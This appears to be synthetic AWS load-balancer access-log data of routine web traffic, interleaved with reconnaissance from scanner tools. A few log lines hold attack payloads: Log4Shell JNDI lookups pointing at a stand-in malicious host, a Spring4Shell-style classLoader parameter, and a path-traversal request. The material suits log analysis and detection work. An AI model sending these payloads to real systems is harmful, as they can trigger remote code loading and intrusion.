arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b0-63dd1ce0e5f94e60b13ccdfa" "prod-api-alb.example.com" "-" 10 2024-11-01T02:25:36.059709Z "forward" "-" "-" "10.0.120.169:443" "200" "-" "-" +https 2024-11-01T02:25:36.344020Z staging-alb 45.155.205.176:27334 194.176.89.175:80 0.038300 0.523384 0.072442 404 404 676 4118 "GET /server-status HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b0-63dc96be88114e1aba78f8c5" "-" "-" 9 2024-11-01T02:25:36.344020Z "forward" "-" "-" "194.176.89.175:80" "404" "-" "-" +https 2024-11-01T02:25:38.237109Z prod-api-alb 33.224.84.108:42064 10.0.68.2:443 0.000383 0.090852 0.015161 200 200 185 12887 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b2-a15fc48a2eec4f798760c79c" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:38.237109Z "forward" "-" "-" "10.0.68.2:443" "200" "-" "-" +http 2024-11-01T02:25:38.860474Z staging-alb 15.252.32.6:42236 151.251.156.112:443 0.116887 0.021541 0.006906 302 302 675 8678 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b2-15403459ed604439b2f33231" "staging-alb.example.com" "-" 2 2024-11-01T02:25:38.860474Z "forward" "-" "-" "151.251.156.112:443" "302" "-" "-" +https 2024-11-01T02:25:39.398090Z prod-api-alb 12.21.249.62:44913 10.0.168.202:443 0.055348 0.041976 0.036268 404 404 264 5113 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9b3-69020bb0ef1942648c7aba35" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:39.398090Z "forward" "-" "-" "10.0.168.202:443" "404" "-" "-" +https 2024-11-01T02:25:41.345083Z prod-api-alb 177.196.83.171:13939 10.0.87.95:443 0.050630 0.035650 0.011973 200 200 90 1415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9b5-782d18a7d2034478b76b4abe" "prod-api-alb.example.com" "-" 6 2024-11-01T02:25:41.345083Z "forward" "-" "-" "10.0.87.95:443" "200" "-" "-" +https 2024-11-01T02:25:42.674159Z prod-web-alb 57.207.178.138:17092 10.0.64.235:443 0.066754 0.061479 0.094819 302 302 249 11968 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9b6-b2291da1278f44d483fcf843" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:42.674159Z "forward" "-" "-" "10.0.64.235:443" "302" "-" "-" +https 2024-11-01T02:25:43.354868Z staging-alb 29.30.113.142:12003 144.175.88.52:443 0.140456 0.202023 0.043794 200 200 471 8402 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b7-ae030687be084a01973e5e84" "staging-alb.example.com" "-" 10 2024-11-01T02:25:43.354868Z "forward" "-" "-" "144.175.88.52:443" "200" "-" "-" +https 2024-11-01T02:25:45.211405Z prod-api-alb 66.219.96.228:19631 10.0.151.172:443 0.049204 0.228853 0.074003 200 200 902 2202 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b9-b313d79a650b40e6a8d04a9f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:25:45.211405Z "forward" "-" "-" "10.0.151.172:443" "200" "-" "-" +https 2024-11-01T02:25:46.204145Z prod-api-alb 45.155.205.109:60500 10.0.4.64:443 0.085371 0.183694 0.049653 500 500 544 6408 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ba-ae6382faf2204dccb8200306" "-" "-" 2 2024-11-01T02:25:46.204145Z "forward" "-" "-" "10.0.4.64:443" "500" "-" "-" +https 2024-11-01T02:25:47.811155Z staging-alb 20.51.38.227:48031 67.120.11.107:8080 0.039515 0.479558 0.124839 302 302 161 11212 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9bb-6502ce4cd83a458dbcb3ef3b" "staging-alb.example.com" "-" 1 2024-11-01T02:25:47.811155Z "forward" "-" "-" "67.120.11.107:8080" "302" "-" "-" +https 2024-11-01T02:25:49.141272Z prod-api-alb 137.197.198.114:54096 10.0.162.208:443 0.088751 0.488962 0.086652 200 200 880 1467 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9bd-afbffe9018474f5b9355cb93" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:49.141272Z "forward" "-" "-" "10.0.162.208:443" "200" "-" "-" +https 2024-11-01T02:25:50.532550Z staging-alb 68.197.168.139:24740 114.197.198.100:443 0.123391 0.273317 0.117431 200 200 886 4722 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9be-a21f72c5c4ec40529e211630" "staging-alb.example.com" "-" 5 2024-11-01T02:25:50.532550Z "forward" "-" "-" "114.197.198.100:443" "200" "-" "-" +https 2024-11-01T02:25:52.377207Z staging-alb 3.57.236.70:11660 14.129.239.218:80 0.022691 0.538231 0.077091 301 301 212 8090 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c0-dfcb8bac8c91471bb9243d9f" "staging-alb.example.com" "-" 1 2024-11-01T02:25:52.377207Z "forward" "-" "-" "14.129.239.218:80" "301" "-" "-" +https 2024-11-01T02:25:54.072143Z prod-api-alb 66.128.239.132:42906 10.0.123.22:443 0.030803 0.424240 0.069855 200 200 163 4274 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9c2-2ea003bb97d448b7ac19c4c3" "prod-api-alb.example.com" "-" 5 2024-11-01T02:25:54.072143Z "forward" "-" "-" "10.0.123.22:443" "200" "-" "-" +https 2024-11-01T02:25:55.730357Z prod-web-alb 228.1.231.66:32620 10.0.74.148:443 0.006682 0.080812 0.042161 200 200 424 7363 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c3-69e7eeae8a94425f81394dc3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:55.730357Z "forward" "-" "-" "10.0.74.148:443" "200" "-" "-" +https 2024-11-01T02:25:56.687351Z prod-web-alb 166.223.175.20:28097 10.0.145.198:443 0.065121 0.087171 0.083382 200 200 761 1914 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c4-a2af599da61041a7aef32f72" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:56.687351Z "forward" "-" "-" "10.0.145.198:443" "200" "-" "-" +https 2024-11-01T02:25:58.208149Z staging-alb 201.127.43.157:50648 115.122.68.72:8080 0.082208 0.611207 0.040820 302 302 807 9662 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c6-53a86db2ab6f44f2bf5dbc5d" "staging-alb.example.com" "-" 0 2024-11-01T02:25:58.208149Z "forward" "-" "-" "115.122.68.72:8080" "302" "-" "-" +https 2024-11-01T02:25:59.039856Z prod-api-alb 12.6.115.64:47789 10.0.108.192:443 0.042973 0.361328 0.033628 200 200 93 1634 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9c7-77f79b2bbccc409bb7b6a163" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:59.039856Z "forward" "-" "-" "10.0.108.192:443" "200" "-" "-" +https 2024-11-01T02:25:59.163447Z prod-web-alb 19.124.232.213:14512 10.0.146.192:443 0.000418 0.129322 0.046502 200 200 883 7720 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c7-2b9dea47414f42daa1101dda" "prod-web-alb.example.com" "-" 3 2024-11-01T02:25:59.163447Z "forward" "-" "-" "10.0.146.192:443" "200" "-" "-" +https 2024-11-01T02:25:59.721683Z staging-alb 215.155.31.18:21926 36.219.235.48:80 0.101107 0.589996 0.070254 200 200 941 2828 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c7-c0968e15483f4f1da6a8cd08" "staging-alb.example.com" "-" 2 2024-11-01T02:25:59.721683Z "forward" "-" "-" "36.219.235.48:80" "200" "-" "-" +https 2024-11-01T02:26:00.575993Z prod-api-alb 170.211.129.148:63282 10.0.111.180:443 0.011657 0.084617 0.095642 200 200 779 9188 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9c8-551ef0a3df5a4b84ae353d72" "prod-api-alb.example.com" "-" 0 2024-11-01T02:26:00.575993Z "forward" "-" "-" "10.0.111.180:443" "200" "-" "-" +https 2024-11-01T02:26:02.534478Z prod-api-alb 230.157.165.222:39485 10.0.253.190:443 0.045918 0.199786 0.027645 301 301 841 14791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ca-601426e5666d4bc690b6c6c8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:26:02.534478Z "forward" "-" "-" "10.0.253.190:443" "301" "-" "-" +https 2024-11-01T02:26:03.415242Z prod-api-alb 45.155.205.6:55111 10.0.117.238:443 0.064966 0.460117 0.010044 401 401 280 14267 "GET /admin HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9cb-15ccde4d60634b2eb1870eba" "-" "-" 1 2024-11-01T02:26:03.415242Z "forward" "-" "-" "10.0.117.238:443" "401" "-" "-" +https 2024-11-01T02:26:04.386787Z prod-api-alb 45.155.205.170:35675 10.0.211.121:443 0.057623 0.219439 0.063916 403 403 580 5570 "GET /actuator/env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9cc-67754433a04146a3bac1d881" "-" "-" 4 2024-11-01T02:26:04.386787Z "forward" "-" "-" "10.0.211.121:443" "403" "-" "-" +https 2024-11-01T02:26:05.207509Z prod-api-alb 199.157.216.219:41048 10.0.97.153:443 0.055233 0.341644 0.048262 301 301 693 14189 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9cd-9ea564e075494fe5b7f1ab9f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:26:05.207509Z "forward" "-" "-" "10.0.97.153:443" "301" "-" "-" +https 2024-11-01T02:26:06.542320Z prod-api-alb 193.27.228.159:16205 10.0.74.88:443 0.003457 0.461574 0.087131 403 403 360 9035 "GET /admin HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ce-a57d4689aaf44ee59ba63104" "-" "-" 0 2024-11-01T02:26:06.542320Z "forward" "-" "-" "10.0.74.88:443" "403" "-" "-" +https 2024-11-01T02:26:08.475446Z prod-api-alb 193.27.228.135:62673 10.0.33.147:443 0.091622 0.058324 0.092024 404 404 686 10932 "GET /static/../../secret HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9d0-ecc140ce8970481ba17b1198" "-" "-" 7 2024-11-01T02:26:08.475446Z "forward" "-" "-" "10.0.33.147:443" "404" "-" "-" +https 2024-11-01T02:26:10.448399Z prod-web-alb 215.90.42.114:24419 10.0.171.46:443 0.037510 0.164571 0.029574 404 404 389 13333 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d2-6722d7fd264b46efbf9708b3" "prod-web-alb.example.com" "-" 3 2024-11-01T02:26:10.448399Z "forward" "-" "-" "10.0.171.46:443" "404" "-" "-" +https 2024-11-01T02:26:11.358155Z prod-api-alb 78.226.254.39:35797 10.0.11.61:443 0.071429 0.362254 0.092401 302 302 551 12037 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9d3-e44460c7bf1843488b6977f2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:26:11.358155Z "forward" "-" "-" "10.0.11.61:443" "302" "-" "-" +https 2024-11-01T02:26:12.128839Z staging-alb 165.191.72.62:23765 115.1.234.110:443 0.021006 0.096690 0.065304 302 302 570 1249 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9d4-c5866ca82b9643bcb7ee2d7c" "staging-alb.example.com" "-" 3 2024-11-01T02:26:12.128839Z "forward" "-" "-" "115.1.234.110:443" "302" "-" "-" +https 2024-11-01T02:26:14.010889Z prod-web-alb 62.155.178.247:59342 10.0.93.228:443 0.000655 0.001369 0.051020 200 200 153 1349 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d6-e86bb69de8c249b3bdb59950" "prod-web-alb.example.com" "-" 2 2024-11-01T02:26:14.010889Z "forward" "-" "-" "10.0.93.228:443" "200" "-" "-" +http 2024-11-01T02:26:15.333372Z staging-alb 19.193.132.176:46349 107.87.220.72:8080 0.083890 0.100904 0.073131 301 301 258 6086 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9d7-90fd654596c24107a1b41bdf" "staging-alb.example.com" "-" 10 2024-11-01T02:26:15.333372Z "forward" "-" "-" "107.87.220.72:8080" "301" "-" "-" +https 2024-11-01T02:26:16.501217Z prod-web-alb 130.83.226.136:25616 10.0.149.44:443 0.086955 0.433361 0.080670 200 200 671 2722 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d8-baedf6a239734ef0b78546c5" "prod-web-alb.example.com" "-" 0 2024-11-01T02:26:16.501217Z "forward" "-" "-" "10.0.149.44:443" "200" "-" "-" +http 2024-11-01T02:26:16.884113Z staging-alb 160.68.51.238:18074 167.161.245.110:80 0.139898 0.689949 0.006051 301 301 920 2218 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9d8-9060932fe3dc495bbaea3a64" "staging-alb.example.com" "-" 5 2024-11-01T02:26:16.884113Z "forward" "-" "-" "167.161.245.110:80" "301" "-" "-" +https 2024-11-01T02:26:17.717686Z prod-api-alb 214.25.106.152:17929 10.0.73.105:443 0.022719 0.379220 0.080420 200 200 487 14626 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9d9-3260cb0e08d14120afc29c2b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:26:17.717686Z "forward" "-" "-" "10.0.73.105:443" "200" "-" "-" +https 2024-11-01T02:26:19.277360Z staging-alb 97.145.246.229:17504 89.100.223.106:80 0.121708 0.171210 0.056228 200 200 875 10592 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9db-f16d39d86ccb412894cda5d3" "staging-alb.example.com" "-" 7 2024-11-01T02:26:19.277360Z "forward" "-" "-" "89.100.223.106:80" "200" "-" "-" +https 2024-11-01T02:26:20.707997Z prod-web-alb 52.100.127.224:57463 10.0.188.186:443 0.030508 0.039902 0.050116 301 301 789 3332 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9dc-26d0d0912bf64b2db6601bf8" "prod-web-alb.example.com" "-" 5 2024-11-01T02:26:20.707997Z "forward" "-" "-" "10.0.188.186:443" "301" "-" "-" +https 2024-11-01T02:26:21.244209Z prod-api-alb 45.155.205.109:33395 10.0.230.163:443 0.080843 0.066303 0.048932 403 403 418 9170 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9dd-0a04a1d1911d491680e27da3" "-" "-" 1 2024-11-01T02:26:21.244209Z "forward" "-" "-" "10.0.230.163:443" "403" "-" "-" +https 2024-11-01T02:26:22.687167Z staging-alb 193.27.228.250:16069 212.8.103.10:443 0.110898 0.104069 0.070835 404 404 724 12404 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9de-105fab325ad84f3ab90de810" "-" "-" 9 2024-11-01T02:26:22.687167Z "forward" "-" "-" "212.8.103.10:443" "404" "-" "-" +http 2024-11-01T02:26:22.968981Z staging-alb 180.64.54.75:64480 46.174.106.206:443 0.047464 0.215076 0.123773 404 404 352 4478 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9de-3f932bde8c7a4c3c9bd8994f" "staging-alb.example.com" "-" 9 2024-11-01T02:26:22.968981Z "forward" "-" "-" "46.174.106.206:443" "404" "-" "-" +https 2024-11-01T02:26:23.081497Z prod-api-alb 59.23.57.106:27012 10.0.4.90:443 0.036322 0.284397 0.020265 404 404 95 12207 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9df-0300c3e4eb234889b32fd03d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:26:23.081497Z "forward" "-" "-" "10.0.4.90:443" "404" "-" "-" +https 2024-11-01T02:26:24.519346Z staging-alb 209.171.124.197:48707 211.39.83.241:80 0.026648 0.680243 0.042685 200 200 799 6612 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e0-123c204f54234a458be6487a" "staging-alb.example.com" "-" 6 2024-11-01T02:26:24.519346Z "forward" "-" "-" "211.39.83.241:80" "200" "-" "-" +http 2024-11-01T02:26:26.015978Z staging-alb 180.181.159.159:48916 23.250.158.84:8080 0.096766 0.180789 0.126521 200 200 950 8667 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e2-44dc0267489e4cbb98594cad" "staging-alb.example.com" "-" 6 2024-11-01T02:26:26.015978Z "forward" "-" "-" "23.250.158.84:8080" "200" "-" "-" +https 2024-11-01T02:26:26.961216Z staging-alb 120.231.226.104:49253 162.71.167.90:80 0.081423 0.292928 0.037260 200 200 310 10326 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e2-04382233c1e94259aa2f1880" "staging-alb.example.com" "-" 8 2024-11-01T02:26:26.961216Z "forward" "-" "-" "162.71.167.90:80" "200" "-" "-" +http 2024-11-01T02:26:28.066615Z staging-alb 134.249.33.137:39375 205.166.195.195:443 0.090999 0.272513 0.110657 200 200 683 14064 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e4-1040d206bb5743a9af0cfeb5" "staging-alb.example.com" "-" 8 2024-11-01T02:26:28.066615Z "forward" "-" "-" "205.166.195.195:443" "200" "-" "-" +https 2024-11-01T02:26:28.363678Z staging-alb 187.151.21.76:30405 73.108.144.62:80 0.055083 0.040995 0.036468 301 301 156 3945 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9e4-801a314cf2f14236ae49d36b" "staging-alb.example.com" "-" 6 2024-11-01T02:26:28.363678Z "forward" "-" "-" "73.108.144.62:80" "301" "-" "-" +https 2024-11-01T02:26:29.261700Z staging-alb 222.127.157.113:61388 22.228.197.87:443 0.148719 0.040757 0.074607 200 200 990 14905 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e5-1b4f06a588554a3181e1c259" "staging-alb.example.com" "-" 1 2024-11-01T02:26:29.261700Z "forward" "-" "-" "22.228.197.87:443" "200" "-" "-" +https 2024-11-01T02:26:31.192313Z prod-web-alb 54.9.1.154:18235 10.0.130.210:443 0.015758 0.155984 0.050038 404 404 586 4897 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d9e7-66663a5e6f26406e906678e5" "prod-web-alb.example.com" "-" 0 